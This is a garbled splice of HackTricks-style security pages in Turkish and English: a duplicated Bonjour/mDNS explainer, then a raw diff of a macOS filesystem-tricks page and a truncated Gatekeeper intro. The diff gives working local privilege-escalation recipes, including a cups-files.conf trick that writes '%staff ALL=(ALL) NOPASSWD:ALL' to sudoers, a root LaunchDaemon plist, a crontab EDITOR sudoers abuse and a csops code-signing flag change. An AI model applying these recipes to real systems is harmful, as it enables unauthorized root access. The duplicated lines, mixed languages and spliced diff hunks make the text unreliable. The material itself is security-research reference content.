Bonjour tarafından sağlanan Zero Configuration Networking, cihazların:
|
||||
|
||||
Zero Configuration Networking, provided by Bonjour, ensures that devices can:
|
||||
- **Otomatik olarak bir IP Adresi almasını** sağlar, DHCP sunucusu yoksa bile.
|
||||
- **isimden-adrese çeviri** yapmasını, DNS sunucusu gerektirmeden gerçekleştirir.
|
||||
- Ağda mevcut olan **hizmetleri keşfetmesini** sağlar.
|
||||
|
||||
- **Automatically obtain an IP Address** even in the absence of a DHCP server.
|
||||
- Perform **name-to-address translation** without requiring a DNS server.
|
||||
- **Discover services** available on the network.
|
||||
Bonjour kullanan cihazlar, kendilerine **169.254/16 aralığından bir IP adresi atar** ve ağdaki benzersizliğini doğrular. Mac'ler, bu alt ağ için bir yönlendirme tablosu girişi tutar, bu giriş `netstat -rn | grep 169` ile doğrulanabilir.
|
||||
|
||||
Devices using Bonjour will assign themselves an **IP address from the 169.254/16 range** and verify its uniqueness on the network. Macs maintain a routing table entry for this subnet, verifiable via `netstat -rn | grep 169`.
|
||||
DNS için Bonjour, **Multicast DNS (mDNS) protokolünü** kullanır. mDNS, **port 5353/UDP** üzerinden çalışır ve **standart DNS sorgularını** kullanarak **multicast adresi 224.0.0.251**'yi hedef alır. Bu yaklaşım, ağdaki tüm dinleyen cihazların sorguları almasını ve yanıt vermesini sağlar, böylece kayıtlarını güncelleyebilirler.
|
||||
|
||||
For DNS, Bonjour utilizes the **Multicast DNS (mDNS) protocol**. mDNS operates over **port 5353/UDP**, employing **standard DNS queries** but targeting the **multicast address 224.0.0.251**. This approach ensures that all listening devices on the network can receive and respond to the queries, facilitating the update of their records.
|
||||
Ağa katıldığında, her cihaz kendine bir isim seçer, genellikle **.local** ile biter ve bu isim, ana bilgisayar adından türetilmiş veya rastgele oluşturulmuş olabilir.
|
||||
|
||||
Upon joining the network, each device self-selects a name, typically ending in **.local**, which may be derived from the hostname or randomly generated.
|
||||
Ağ içindeki hizmet keşfi, **DNS Hizmet Keşfi (DNS-SD)** ile kolaylaştırılır. DNS SRV kayıtlarının formatını kullanan DNS-SD, birden fazla hizmetin listelenmesini sağlamak için **DNS PTR kayıtlarını** kullanır. Belirli bir hizmet arayan bir istemci, `<Service>.<Domain>` için bir PTR kaydı talep eder ve eğer hizmet birden fazla ana bilgisayardan mevcutsa, `<Instance>.<Service>.<Domain>` formatında bir dizi PTR kaydı alır.
|
||||
|
||||
Service discovery within the network is facilitated by **DNS Service Discovery (DNS-SD)**. Leveraging the format of DNS SRV records, DNS-SD uses **DNS PTR records** to enable the listing of multiple services. A client seeking a specific service will request a PTR record for `<Service>.<Domain>`, receiving in return a list of PTR records formatted as `<Instance>.<Service>.<Domain>` if the service is available from multiple hosts.
|
||||
`dns-sd` aracı, **ağ hizmetlerini keşfetmek ve tanıtmak için** kullanılabilir. İşte kullanımına dair bazı örnekler:
|
||||
|
||||
The `dns-sd` utility can be employed for **discovering and advertising network services**. Here are some examples of its usage:
|
||||
|
||||
### Searching for SSH Services
|
||||
|
||||
To search for SSH services on the network, the following command is used:
|
||||
### SSH Hizmetlerini Arama
|
||||
|
||||
Ağda SSH hizmetlerini aramak için aşağıdaki komut kullanılır:
|
||||
```bash
|
||||
dns-sd -B _ssh._tcp
|
||||
```
|
||||
Bu komut, \_ssh.\_tcp hizmetleri için tarama başlatır ve zaman damgası, bayraklar, arayüz, alan, hizmet türü ve örnek adı gibi ayrıntıları çıktılar.
|
||||
|
||||
This command initiates browsing for \_ssh.\_tcp services and outputs details such as timestamp, flags, interface, domain, service type, and instance name.
|
||||
|
||||
### Advertising an HTTP Service
|
||||
|
||||
To advertise an HTTP service, you can use:
|
||||
### HTTP Hizmetini Duyurma
|
||||
|
||||
Bir HTTP hizmetini duyurmak için şunu kullanabilirsiniz:
|
||||
```bash
|
||||
dns-sd -R "Index" _http._tcp . 80 path=/index.html
|
||||
```
|
||||
Bu komut, `/index.html` yolu ile port 80'de "Index" adında bir HTTP hizmeti kaydeder.
|
||||
|
||||
This command registers an HTTP service named "Index" on port 80 with a path of `/index.html`.
|
||||
|
||||
To then search for HTTP services on the network:
|
||||
|
||||
Daha sonra ağda HTTP hizmetlerini aramak için:
|
||||
```bash
|
||||
dns-sd -B _http._tcp
|
||||
```
|
||||
Bir hizmet başladığında, varlığını alt ağdaki tüm cihazlara çoklu yayın yaparak duyurur. Bu hizmetlerle ilgilenen cihazların istek göndermesine gerek yoktur, sadece bu duyuruları dinlemeleri yeterlidir.
|
||||
|
||||
When a service starts, it announces its availability to all devices on the subnet by multicasting its presence. Devices interested in these services don't need to send requests but simply listen for these announcements.
|
||||
|
||||
For a more user-friendly interface, the **Discovery - DNS-SD Browser** app available on the Apple App Store can visualize the services offered on your local network.
|
||||
|
||||
Alternatively, custom scripts can be written to browse and discover services using the `python-zeroconf` library. The [**python-zeroconf**](https://github.com/jstasiak/python-zeroconf) script demonstrates creating a service browser for `_http._tcp.local.` services, printing added or removed services:
|
||||
Daha kullanıcı dostu bir arayüz için, Apple App Store'da bulunan **Discovery - DNS-SD Browser** uygulaması, yerel ağınızdaki sunulan hizmetleri görselleştirebilir.
|
||||
|
||||
Alternatif olarak, `python-zeroconf` kütüphanesini kullanarak hizmetleri taramak ve keşfetmek için özel betikler yazılabilir. [**python-zeroconf**](https://github.com/jstasiak/python-zeroconf) betiği, `_http._tcp.local.` hizmetleri için bir hizmet tarayıcısı oluşturmayı gösterir ve eklenen veya kaldırılan hizmetleri yazdırır:
|
||||
```python
|
||||
from zeroconf import ServiceBrowser, Zeroconf
|
||||
|
||||
class MyListener:
|
||||
|
||||
def remove_service(self, zeroconf, type, name):
|
||||
print("Service %s removed" % (name,))
|
||||
def remove_service(self, zeroconf, type, name):
|
||||
print("Service %s removed" % (name,))
|
||||
|
||||
def add_service(self, zeroconf, type, name):
|
||||
info = zeroconf.get_service_info(type, name)
|
||||
print("Service %s added, service info: %s" % (name, info))
|
||||
def add_service(self, zeroconf, type, name):
|
||||
info = zeroconf.get_service_info(type, name)
|
||||
print("Service %s added, service info: %s" % (name, info))
|
||||
|
||||
zeroconf = Zeroconf()
|
||||
listener = MyListener()
|
||||
browser = ServiceBrowser(zeroconf, "_http._tcp.local.", listener)
|
||||
try:
|
||||
input("Press enter to exit...\n\n")
|
||||
input("Press enter to exit...\n\n")
|
||||
finally:
|
||||
zeroconf.close()
|
||||
zeroconf.close()
|
||||
```
|
||||
### Bonjour'u Devre Dışı Bırakma
|
||||
|
||||
### Disabling Bonjour
|
||||
|
||||
If there are concerns about security or other reasons to disable Bonjour, it can be turned off using the following command:
|
||||
|
||||
Eğer güvenlik endişeleri veya Bonjour'u devre dışı bırakmak için başka nedenler varsa, aşağıdaki komut kullanılarak kapatılabilir:
|
||||
```bash
|
||||
sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.mDNSResponder.plist
|
||||
```
|
||||
|
||||
## References
|
||||
## Referanslar
|
||||
|
||||
- [**The Mac Hacker's Handbook**](https://www.amazon.com/-/es/Charlie-Miller-ebook-dp-B004U7MUMU/dp/B004U7MUMU/ref=mt_other?_encoding=UTF8&me=&qid=)
|
||||
- [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html)
|
||||
|
||||
@ -7,10 +7,10 @@
|
||||
Bir **dizindeki** izinler:
|
||||
|
||||
- **okuma** - dizin girişlerini **sıralayabilirsiniz**
|
||||
- **yazma** - dizindeki **dosyaları silip/yazabilirsiniz** ve **boş klasörleri** silebilirsiniz.
|
||||
- Ancak **boş olmayan klasörleri** silip/değiştiremezsiniz, eğer üzerinde yazma izniniz yoksa.
|
||||
- **yazma** - dizindeki **dosyaları silip/yazabilirsiniz** ve **boş klasörleri silebilirsiniz**.
|
||||
- Ancak **boş olmayan klasörleri silemez/değiştiremezsiniz** eğer üzerinde yazma izniniz yoksa.
|
||||
- Bir klasörün adını **değiştiremezsiniz** eğer ona sahip değilseniz.
|
||||
- **çalıştırma** - dizinde **gezinmenize izin verilir** - bu hakka sahip değilseniz, içindeki dosyalara veya alt dizinlerdeki dosyalara erişemezsiniz.
|
||||
- **çalıştırma** - dizinde **gezinmenize izin verilir** - bu hakka sahip değilseniz, içindeki dosyalara veya alt dizinlere erişemezsiniz.
|
||||
|
||||
### Tehlikeli Kombinasyonlar
|
||||
|
||||
@ -24,19 +24,25 @@ Bir **dizindeki** izinler:
|
||||
|
||||
### Klasör root R+X Özel durumu
|
||||
|
||||
Eğer **yalnızca root'un R+X erişimine sahip olduğu** bir **dizide** dosyalar varsa, bu dosyalar **başka kimseye erişilebilir değildir**. Bu nedenle, bir kullanıcının **okuyabileceği** bir dosyayı, bu **kısıtlama** nedeniyle okunamayan bir klasörden **farklı birine** **taşıma** izni veren bir güvenlik açığı, bu dosyaları okumak için kötüye kullanılabilir.
|
||||
Eğer **yalnızca root'un R+X erişimine sahip olduğu** bir **dizinde** dosyalar varsa, bu dosyalar **başka kimseye erişilebilir değildir**. Bu nedenle, bir kullanıcının okuyabileceği bir dosyayı, bu **kısıtlama** nedeniyle okunamayan bir dosyayı bu klasörden **farklı birine** **taşıma** izni veren bir güvenlik açığı, bu dosyaları okumak için kötüye kullanılabilir.
|
||||
|
||||
Örnek: [https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/#nix-directory-permissions](https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/#nix-directory-permissions)
|
||||
|
||||
## Sembolik Bağlantı / Sert Bağlantı
|
||||
|
||||
Eğer ayrıcalıklı bir işlem, **düşük ayrıcalıklı bir kullanıcı** tarafından **kontrol edilebilecek** veya daha önce düşük ayrıcalıklı bir kullanıcı tarafından **oluşturulmuş** bir **dosyaya** veri yazıyorsa. Kullanıcı, sadece bir Sembolik veya Sert bağlantı aracılığıyla onu **başka bir dosyaya** **işaret edebilir** ve ayrıcalıklı işlem o dosyaya yazacaktır.
|
||||
### İzinli dosya/klasör
|
||||
|
||||
Eğer ayrıcalıklı bir işlem, **daha düşük ayrıcalıklı bir kullanıcı** tarafından **kontrol edilebilecek** bir **dosyaya** veri yazıyorsa veya daha düşük ayrıcalıklı bir kullanıcı tarafından **önceden oluşturulmuş** bir dosyaya yazıyorsa. Kullanıcı, sadece bir Sembolik veya Sert bağlantı aracılığıyla onu **başka bir dosyaya** **işaret edebilir** ve ayrıcalıklı işlem o dosyaya yazacaktır.
|
||||
|
||||
Bir saldırganın **ayrıcalıkları artırmak için keyfi bir yazmayı nasıl kötüye kullanabileceğini** kontrol edin.
|
||||
|
||||
### Açık `O_NOFOLLOW`
|
||||
|
||||
`open` fonksiyonu tarafından kullanıldığında `O_NOFOLLOW` bayrağı, son yol bileşenindeki bir sembolik bağlantıyı takip etmeyecek, ancak yolun geri kalanını takip edecektir. Yolda sembolik bağlantıları takip etmeyi önlemenin doğru yolu `O_NOFOLLOW_ANY` bayrağını kullanmaktır.
|
||||
|
||||
## .fileloc
|
||||
|
||||
**`.fileloc`** uzantısına sahip dosyalar, diğer uygulamalara veya ikili dosyalara işaret edebilir, böylece açıldıklarında, uygulama/ikili dosya çalıştırılacaktır.\
|
||||
**`.fileloc`** uzantısına sahip dosyalar, diğer uygulamalara veya ikili dosyalara işaret edebilir, bu nedenle açıldıklarında, uygulama/ikili dosya çalıştırılacak olan olacaktır.\
|
||||
Örnek:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
@ -50,11 +56,15 @@ Bir saldırganın **ayrıcalıkları artırmak için keyfi bir yazmayı nasıl k
|
||||
</dict>
|
||||
</plist>
|
||||
```
|
||||
## Keyfi FD
|
||||
## Dosya Tanımlayıcıları
|
||||
|
||||
Eğer bir **işlemi yüksek ayrıcalıklarla bir dosya veya klasör açmaya zorlayabilirseniz**, **`crontab`**'i kullanarak `/etc/sudoers.d` içindeki bir dosyayı **`EDITOR=exploit.py`** ile açabilirsiniz, böylece `exploit.py` `/etc/sudoers` içindeki dosyaya FD alacak ve bunu kötüye kullanacaktır.
|
||||
### Leak FD (no `O_CLOEXEC`)
|
||||
|
||||
Örneğin: [https://youtu.be/f1HA5QhLQ7Y?t=21098](https://youtu.be/f1HA5QhLQ7Y?t=21098)
|
||||
Eğer `open` çağrısında `O_CLOEXEC` bayrağı yoksa, dosya tanımlayıcısı çocuk süreç tarafından miras alınacaktır. Yani, eğer ayrıcalıklı bir süreç ayrıcalıklı bir dosyayı açar ve saldırgan tarafından kontrol edilen bir süreci çalıştırırsa, saldırgan **ayrıcalıklı dosya üzerindeki FD'yi miras alacaktır**.
|
||||
|
||||
Eğer bir **sürecin yüksek ayrıcalıklarla bir dosya veya klasör açmasını sağlayabilirseniz**, **`crontab`**'i kullanarak `/etc/sudoers.d` içinde **`EDITOR=exploit.py`** ile bir dosya açmak için kötüye kullanabilirsiniz, böylece `exploit.py`, `/etc/sudoers` içindeki dosyaya FD alacak ve bunu kötüye kullanacaktır.
|
||||
|
||||
Örneğin: [https://youtu.be/f1HA5QhLQ7Y?t=21098](https://youtu.be/f1HA5QhLQ7Y?t=21098), kod: https://github.com/gergelykalman/CVE-2023-32428-a-macOS-LPE-via-MallocStackLogging
|
||||
|
||||
## Karantina xattrs hilelerinden kaçının
|
||||
|
||||
@ -112,7 +122,7 @@ ls -le /tmp/test
|
||||
|
||||
**AppleDouble** dosya formatı, bir dosyayı ACE'leri ile birlikte kopyalar.
|
||||
|
||||
[**kaynak kodda**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) görülebilir ki, xattr içinde saklanan ACL metin temsili **`com.apple.acl.text`** olarak adlandırılır ve bu, sıkıştırılmamış dosyada ACL olarak ayarlanacaktır. Yani, bir uygulamayı ACL'nin diğer xattr'lerin yazılmasını engellediği **AppleDouble** dosya formatında bir zip dosyasına sıkıştırdıysanız... karantina xattr uygulamaya ayarlanmamıştı:
|
||||
[**kaynak kodda**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) görülebilir ki, xattr içinde saklanan ACL metin temsili **`com.apple.acl.text`** olarak adlandırılır ve bu, açılmış dosyada ACL olarak ayarlanacaktır. Yani, bir uygulamayı ACL'nin diğer xattr'lerin yazılmasını engellediği bir zip dosyasına **AppleDouble** dosya formatı ile sıkıştırdıysanız... karantina xattr uygulamaya ayarlanmamıştı:
|
||||
|
||||
Daha fazla bilgi için [**orijinal raporu**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/) kontrol edin.
|
||||
|
||||
@ -134,19 +144,38 @@ ditto -c -k del test.zip
|
||||
ditto -x -k --rsrc test.zip .
|
||||
ls -le test
|
||||
```
|
||||
(Not edin ki bu işe yarasa bile, sandbox öncelikle karantina xattr'ı yazar)
|
||||
|
||||
Gerçekten gerekli değil ama yine de burada bırakıyorum:
|
||||
(Not edinmesi gerekmez ama yine de burada bırakıyorum, her ihtimale karşı:)
|
||||
|
||||
{{#ref}}
|
||||
macos-xattr-acls-extra-stuff.md
|
||||
{{#endref}}
|
||||
|
||||
## Kod İmzalarını Atlatma
|
||||
## İmza kontrollerini atla
|
||||
|
||||
Bundle'lar, **bundle** içindeki her bir **dosya**nın **hash**'ini içeren **`_CodeSignature/CodeResources`** dosyasını içerir. CodeResources'ın hash'inin de **çalıştırılabilir dosya**ya **gömülü** olduğunu unutmayın, bu yüzden bununla da oynayamayız.
|
||||
### Platform ikili dosyası kontrollerini atla
|
||||
|
||||
Ancak, imzasının kontrol edilmeyeceği bazı dosyalar vardır, bunlar plist'te omit anahtarına sahiptir, örneğin:
|
||||
Bazı güvenlik kontrolleri, ikilinin bir **platform ikili dosyası** olup olmadığını kontrol eder, örneğin bir XPC hizmetine bağlanmaya izin vermek için. Ancak, https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/ adresinde açıklandığı gibi, bu kontrolü atlamak mümkündür; bir platform ikili dosyası (örneğin /bin/ls) alarak ve istismarı dyld aracılığıyla bir ortam değişkeni `DYLD_INSERT_LIBRARIES` kullanarak enjekte ederek.
|
||||
|
||||
### `CS_REQUIRE_LV` ve `CS_FORCED_LV` bayraklarını atla
|
||||
|
||||
Bir yürütülen ikilinin, bir kod ile kendi bayraklarını değiştirmesi mümkündür:
|
||||
```c
|
||||
// Code from https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/
|
||||
int pid = getpid();
|
||||
NSString *exePath = NSProcessInfo.processInfo.arguments[0];
|
||||
|
||||
uint32_t status = SecTaskGetCodeSignStatus(SecTaskCreateFromSelf(0));
|
||||
status |= 0x2000; // CS_REQUIRE_LV
|
||||
csops(pid, 9, &status, 4); // CS_OPS_SET_STATUS
|
||||
|
||||
status = SecTaskGetCodeSignStatus(SecTaskCreateFromSelf(0));
|
||||
NSLog(@"=====Inject successfully into %d(%@), csflags=0x%x", pid, exePath, status);
|
||||
```
|
||||
## Bypass Code Signatures
|
||||
|
||||
Bundles, **`_CodeSignature/CodeResources`** dosyasını içerir ve bu dosya **bundle** içindeki her bir **dosya**nın **hash**'ini barındırır. CodeResources'ın hash'inin de **çalıştırılabilir dosya**ya **gömülü** olduğunu unutmayın, bu yüzden bununla da oynayamayız.
|
||||
|
||||
Ancak, imzası kontrol edilmeyecek bazı dosyalar vardır, bunlar plist'te omit anahtarına sahiptir, örneğin:
|
||||
```xml
|
||||
<dict>
|
||||
...
|
||||
@ -217,7 +246,7 @@ hdiutil detach /private/tmp/mnt 1>/dev/null
|
||||
# You can also create a dmg from an app using:
|
||||
hdiutil create -srcfolder justsome.app justsome.dmg
|
||||
```
|
||||
Genellikle macOS, diski `/usr/libexec/diskarbitrationd` tarafından sağlanan `com.apple.DiskArbitrarion.diskarbitrariond` Mach servisi ile bağlar. LaunchDaemons plist dosyasına `-d` parametresi eklenip yeniden başlatıldığında, `/var/log/diskarbitrationd.log` dosyasına günlükler kaydedilecektir.\
|
||||
Genellikle macOS, diski `com.apple.DiskArbitrarion.diskarbitrariond` Mach servisi ile bağlar (bu servis `/usr/libexec/diskarbitrationd` tarafından sağlanır). LaunchDaemons plist dosyasına `-d` parametresi eklenip yeniden başlatıldığında, `/var/log/diskarbitrationd.log` dosyasına günlükler kaydedilecektir.\
|
||||
Ancak, `com.apple.driver.DiskImages` kext'i ile doğrudan iletişim kurmak için `hdik` ve `hdiutil` gibi araçlar kullanmak mümkündür.
|
||||
|
||||
## Keyfi Yazmalar
|
||||
@ -226,11 +255,11 @@ Ancak, `com.apple.driver.DiskImages` kext'i ile doğrudan iletişim kurmak için
|
||||
|
||||
Eğer betiğiniz bir **shell script** olarak yorumlanabiliyorsa, her gün tetiklenecek olan **`/etc/periodic/daily/999.local`** shell betiğini üzerine yazabilirsiniz.
|
||||
|
||||
Bu betiğin bir yürütmesini **`sudo periodic daily`** ile **sahte** yapabilirsiniz.
|
||||
Bu betiğin bir yürütmesini **şu şekilde** **taklit** edebilirsiniz: **`sudo periodic daily`**
|
||||
|
||||
### Daemonlar
|
||||
|
||||
Keyfi bir **LaunchDaemon** yazın, örneğin **`/Library/LaunchDaemons/xyz.hacktricks.privesc.plist`** gibi, keyfi bir betiği yürüten bir plist ile:
|
||||
Keyfi bir **LaunchDaemon** yazın, örneğin **`/Library/LaunchDaemons/xyz.hacktricks.privesc.plist`** ile keyfi bir betiği yürüten bir plist oluşturun:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
@ -247,21 +276,41 @@ Keyfi bir **LaunchDaemon** yazın, örneğin **`/Library/LaunchDaemons/xyz.hackt
|
||||
</dict>
|
||||
</plist>
|
||||
```
|
||||
Sadece kök olarak çalıştırmak istediğiniz **komutları** içeren `/Applications/Scripts/privesc.sh` dosyasını oluşturun.
|
||||
Just generate the script `/Applications/Scripts/privesc.sh` with the **commands** you would like to run as root.
|
||||
|
||||
### Sudoers Dosyası
|
||||
|
||||
Eğer **keyfi yazma** yetkiniz varsa, kendinize **sudo** ayrıcalıkları veren bir dosya oluşturabilirsiniz **`/etc/sudoers.d/`** klasörü içinde.
|
||||
If you have **arbitrary write**, you could create a file inside the folder **`/etc/sudoers.d/`** granting yourself **sudo** privileges.
|
||||
|
||||
### PATH dosyaları
|
||||
|
||||
**`/etc/paths`** dosyası, PATH env değişkenini dolduran ana yerlerden biridir. Üzerine yazmak için kök olmalısınız, ancak eğer **yetkili bir işlem** bir **komutu tam yol olmadan** çalıştırıyorsa, bu dosyayı değiştirerek onu **ele geçirme** şansınız olabilir.
|
||||
The file **`/etc/paths`** is one of the main places that populates the PATH env variable. You must be root to overwrite it, but if a script from **privileged process** is executing some **command without the full path**, you might be able to **hijack** it modifying this file.
|
||||
|
||||
Ayrıca `PATH` env değişkenine yeni klasörler yüklemek için **`/etc/paths.d`** içinde dosyalar yazabilirsiniz.
|
||||
You can also write files in **`/etc/paths.d`** to load new folders into the `PATH` env variable.
|
||||
|
||||
### cups-files.conf
|
||||
|
||||
This technique was used in [this writeup](https://www.kandji.io/blog/macos-audit-story-part1).
|
||||
|
||||
Create the file `/etc/cups/cups-files.conf` with the following content:
|
||||
```
|
||||
ErrorLog /etc/sudoers.d/lpe
|
||||
LogFilePerm 777
|
||||
<some junk>
|
||||
```
|
||||
Bu, izinleri 777 olan `/etc/sudoers.d/lpe` dosyasını oluşturacaktır. Sonundaki ekstra gereksizlik, hata günlüğü oluşturmayı tetiklemek içindir.
|
||||
|
||||
Ardından, `/etc/sudoers.d/lpe` dosyasına `%staff ALL=(ALL) NOPASSWD:ALL` gibi ayrıcalıkları artırmak için gerekli yapılandırmayı yazın.
|
||||
|
||||
Sonra, yeni sudoers dosyasının geçerli olması için `/etc/cups/cups-files.conf` dosyasını tekrar `LogFilePerm 700` olarak değiştirin ve `cupsctl` çağrısını yapın.
|
||||
|
||||
### Sandbox Kaçışı
|
||||
|
||||
macOS sandbox'ından FS rastgele yazma ile kaçmak mümkündür. Bazı örnekler için [macOS Auto Start](../../../../macos-auto-start-locations.md) sayfasına bakın, ancak yaygın bir örnek, başlangıçta bir komut çalıştıran `~/Library/Preferences/com.apple.Terminal.plist` dosyasına bir Terminal tercih dosyası yazmaktır ve bunu `open` kullanarak çağırmaktır.
|
||||
|
||||
## Diğer kullanıcılar olarak yazılabilir dosyalar oluşturma
|
||||
|
||||
Bu, bana yazılabilir olan kök ait bir dosya oluşturacaktır ([**buradan kod**](https://github.com/gergelykalman/brew-lpe-via-periodic/blob/main/brew_lpe.sh)). Bu aynı zamanda privesc olarak da çalışabilir:
|
||||
Bu, benim yazabileceğim root'a ait bir dosya oluşturacaktır ([**buradan kod**](https://github.com/gergelykalman/brew-lpe-via-periodic/blob/main/brew_lpe.sh)). Bu ayrıca ayrıcalık artırma olarak da çalışabilir:
|
||||
```bash
|
||||
DIRNAME=/usr/local/etc/periodic/daily
|
||||
|
||||
@ -275,7 +324,7 @@ echo $FILENAME
|
||||
```
|
||||
## POSIX Paylaşılan Bellek
|
||||
|
||||
**POSIX paylaşılan bellek**, POSIX uyumlu işletim sistemlerinde süreçlerin ortak bir bellek alanına erişmesine olanak tanır ve bu, diğer süreçler arası iletişim yöntemlerine kıyasla daha hızlı iletişim sağlar. Bu, `shm_open()` ile bir paylaşılan bellek nesnesi oluşturmayı veya açmayı, `ftruncate()` ile boyutunu ayarlamayı ve `mmap()` kullanarak sürecin adres alanına haritalamayı içerir. Süreçler daha sonra bu bellek alanından doğrudan okuma ve yazma yapabilirler. Eşzamanlı erişimi yönetmek ve veri bozulmasını önlemek için genellikle mutexler veya semaforlar gibi senkronizasyon mekanizmaları kullanılır. Son olarak, süreçler paylaşılan belleği `munmap()` ve `close()` ile haritalamayı kaldırır ve kapatır, isteğe bağlı olarak bellek nesnesini `shm_unlink()` ile kaldırabilirler. Bu sistem, birden fazla sürecin paylaşılan verilere hızlı bir şekilde erişmesi gereken ortamlarda verimli, hızlı IPC için özellikle etkilidir.
|
||||
**POSIX paylaşılan bellek**, POSIX uyumlu işletim sistemlerinde süreçlerin ortak bir bellek alanına erişmesine olanak tanır ve bu, diğer süreçler arası iletişim yöntemlerine kıyasla daha hızlı iletişim sağlar. Bu, `shm_open()` ile bir paylaşılan bellek nesnesi oluşturmayı veya açmayı, `ftruncate()` ile boyutunu ayarlamayı ve `mmap()` kullanarak sürecin adres alanına haritalamayı içerir. Süreçler daha sonra bu bellek alanından doğrudan okuma ve yazma yapabilir. Eşzamanlı erişimi yönetmek ve veri bozulmasını önlemek için genellikle mutexler veya semaforlar gibi senkronizasyon mekanizmaları kullanılır. Son olarak, süreçler paylaşılan belleği `munmap()` ve `close()` ile haritalamayı kaldırır ve kapatır ve isteğe bağlı olarak bellek nesnesini `shm_unlink()` ile kaldırır. Bu sistem, birden fazla sürecin paylaşılan verilere hızlı bir şekilde erişmesi gereken ortamlarda verimli, hızlı IPC için özellikle etkilidir.
|
||||
|
||||
<details>
|
||||
|
||||
@ -373,7 +422,7 @@ return 0;
|
||||
|
||||
**macOS korunan tanımlayıcılar**, kullanıcı uygulamalarındaki **dosya tanımlayıcı işlemlerinin** güvenliğini ve güvenilirliğini artırmak için macOS'ta tanıtılan bir güvenlik özelliğidir. Bu korunan tanımlayıcılar, dosya tanımlayıcılarıyla belirli kısıtlamalar veya "korumalar" ilişkilendirme yolu sağlar ve bu kısıtlamalar çekirdek tarafından uygulanır.
|
||||
|
||||
Bu özellik, **yetkisiz dosya erişimi** veya **yarış koşulları** gibi belirli güvenlik açıklarını önlemek için özellikle yararlıdır. Bu güvenlik açıkları, örneğin bir iş parçacığı bir dosya tanımına erişirken **başka bir savunmasız iş parçacığının buna erişim sağlaması** veya bir dosya tanımlayıcısının **savunmasız bir çocuk süreç tarafından devralınması** durumunda ortaya çıkar. Bu işlevsellikle ilgili bazı fonksiyonlar şunlardır:
|
||||
Bu özellik, **yetkisiz dosya erişimi** veya **yarış koşulları** gibi belirli güvenlik açıklarının önlenmesi için özellikle yararlıdır. Bu güvenlik açıkları, örneğin bir iş parçacığı bir dosya tanımına eriştiğinde **başka bir savunmasız iş parçacığının buna erişim sağlaması** veya bir dosya tanımlayıcısının **savunmasız bir çocuk süreç tarafından devralınması** durumunda ortaya çıkar. Bu işlevsellikle ilgili bazı fonksiyonlar şunlardır:
|
||||
|
||||
- `guarded_open_np`: Bir koruma ile FD açar
|
||||
- `guarded_close_np`: Kapatır
|
||||
|
||||
@ -2,17 +2,13 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
## Gatekeeper
|
||||
|
||||
**Gatekeeper**, Mac işletim sistemleri için geliştirilmiş bir güvenlik özelliğidir ve kullanıcıların sistemlerinde **yalnızca güvenilir yazılımları çalıştırmalarını** sağlamak için tasarlanmıştır. Kullanıcının **App Store dışındaki kaynaklardan** indirdiği ve açmaya çalıştığı yazılımları **doğrulayarak** çalışır; bu kaynaklar bir uygulama, eklenti veya yükleyici paketi olabilir.
|
||||
**Gatekeeper**, Mac işletim sistemleri için geliştirilmiş bir güvenlik özelliğidir ve kullanıcıların sistemlerinde **yalnızca güvenilir yazılımları çalıştırmalarını** sağlamak için tasarlanmıştır. Kullanıcıların **App Store dışındaki kaynaklardan** indirdiği ve açmaya çalıştığı yazılımları **doğrulayarak** çalışır; bu kaynaklar arasında bir uygulama, eklenti veya yükleyici paketi bulunur.
|
||||
|
||||
Gatekeeper'ın ana mekanizması, **doğrulama** sürecindedir. İndirilen yazılımın **tanınmış bir geliştirici tarafından imzalanıp imzalanmadığını** kontrol eder ve yazılımın özgünlüğünü sağlar. Ayrıca, yazılımın **Apple tarafından noter onaylı olup olmadığını** belirler; bu, yazılımın bilinen kötü amaçlı içerikten arındırıldığını ve noter onayından sonra değiştirilmediğini doğrular.
|
||||
Gatekeeper'ın ana mekanizması, **doğrulama** sürecinde yatmaktadır. İndirilen yazılımın **tanınmış bir geliştirici tarafından imzalanıp imzalanmadığını** kontrol eder ve yazılımın özgünlüğünü sağlar. Ayrıca, yazılımın **Apple tarafından noter onaylı olup olmadığını** belirler; bu, yazılımın bilinen kötü amaçlı içerikten arındırıldığını ve noter onayından sonra değiştirilmediğini doğrular.
|
||||
|
||||
Ayrıca, Gatekeeper, kullanıcıların indirdikleri yazılımları ilk kez açmalarını onaylamaları için **kullanıcılara onay istemi** göndererek kullanıcı kontrolünü ve güvenliğini güçlendirir. Bu koruma, kullanıcıların yanlışlıkla zararlı olabilecek çalıştırılabilir kodu, zararsız bir veri dosyası olarak yanlış anlamalarını önlemeye yardımcı olur.
|
||||
Ayrıca, Gatekeeper, kullanıcıların indirdikleri yazılımları ilk kez açmalarını onaylamaları için **kullanıcılara uyarılar göndererek** kontrol ve güvenliği artırır. Bu koruma, kullanıcıların yanlışlıkla zararlı olabilecek çalıştırılabilir kodları, zararsız bir veri dosyası olarak yanlış değerlendirmelerini önlemeye yardımcı olur.
|
||||
|
||||
### Uygulama İmzaları
|
||||
|
||||
@ -20,15 +16,15 @@ Uygulama imzaları, kod imzaları olarak da bilinir, Apple'ın güvenlik altyap
|
||||
|
||||
İşte nasıl çalışır:
|
||||
|
||||
